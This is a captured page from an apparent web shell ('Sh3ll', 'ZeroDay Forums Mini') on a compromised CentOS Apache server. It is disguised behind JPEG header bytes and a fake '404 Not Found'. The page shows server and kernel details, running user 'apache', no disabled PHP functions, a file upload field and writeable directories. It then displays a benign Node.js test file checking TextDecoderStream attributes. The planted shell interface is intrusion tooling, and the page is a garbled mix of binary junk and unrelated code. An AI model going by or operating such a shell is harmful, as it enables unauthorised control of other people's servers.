����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/fixtures/wpt/encoding/streams/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/fixtures/wpt/encoding/streams/decode-attributes.any.js
// META: global=worker

'use strict';

// Verify that constructor arguments are correctly reflected in the attributes.

// Mapping of the first argument to TextDecoderStream to the expected value of
// the encoding attribute. We assume that if this subset works correctly, the
// rest probably work too.
const labelToName = {
  'unicode-1-1-utf-8': 'utf-8',
  'iso-8859-2': 'iso-8859-2',
  'ascii': 'windows-1252',
  'utf-16': 'utf-16le'
};

for (const label of Object.keys(labelToName)) {
  test(() => {
    const stream = new TextDecoderStream(label);
    assert_equals(stream.encoding, labelToName[label], 'encoding should match');
  }, `encoding attribute should have correct value for '${label}'`);
}

for (const falseValue of [false, 0, '', undefined, null]) {
  test(() => {
    const stream = new TextDecoderStream('utf-8', { fatal: falseValue });
    assert_false(stream.fatal, 'fatal should be false');
  }, `setting fatal to '${falseValue}' should set the attribute to false`);

  test(() => {
    const stream = new TextDecoderStream('utf-8', { ignoreBOM: falseValue });
    assert_false(stream.ignoreBOM, 'ignoreBOM should be false');
  }, `setting ignoreBOM to '${falseValue}' should set the attribute to false`);
}

for (const trueValue of [true, 1, {}, [], 'yes']) {
  test(() => {
    const stream = new TextDecoderStream('utf-8', { fatal: trueValue });
    assert_true(stream.fatal, 'fatal should be true');
  }, `setting fatal to '${trueValue}' should set the attribute to true`);

  test(() => {
    const stream = new TextDecoderStream('utf-8', { ignoreBOM: trueValue });
    assert_true(stream.ignoreBOM, 'ignoreBOM should be true');
  }, `setting ignoreBOM to '${trueValue}' should set the attribute to true`);
}

test(() => {
  assert_throws(new RangeError(), () => new TextDecoderStream(''),
                'the constructor should throw');
}, 'constructing with an invalid encoding should throw');

test(() => {
  assert_throws(new TypeError(), () => new TextDecoderStream({
    toString() { return {}; }
  }), 'the constructor should throw');
}, 'constructing with a non-stringifiable encoding should throw');

test(() => {
  assert_throws(new Error(),
                () => new TextDecoderStream('utf-8', {
                  get fatal() { throw new Error(); }
                }), 'the constructor should throw');
}, 'a throwing fatal member should cause the constructor to throw');

test(() => {
  assert_throws(new Error(),
                () => new TextDecoderStream('utf-8', {
                  get ignoreBOM() { throw new Error(); }
                }), 'the constructor should throw');
}, 'a throwing ignoreBOM member should cause the constructor to throw');

ZeroDay Forums Mini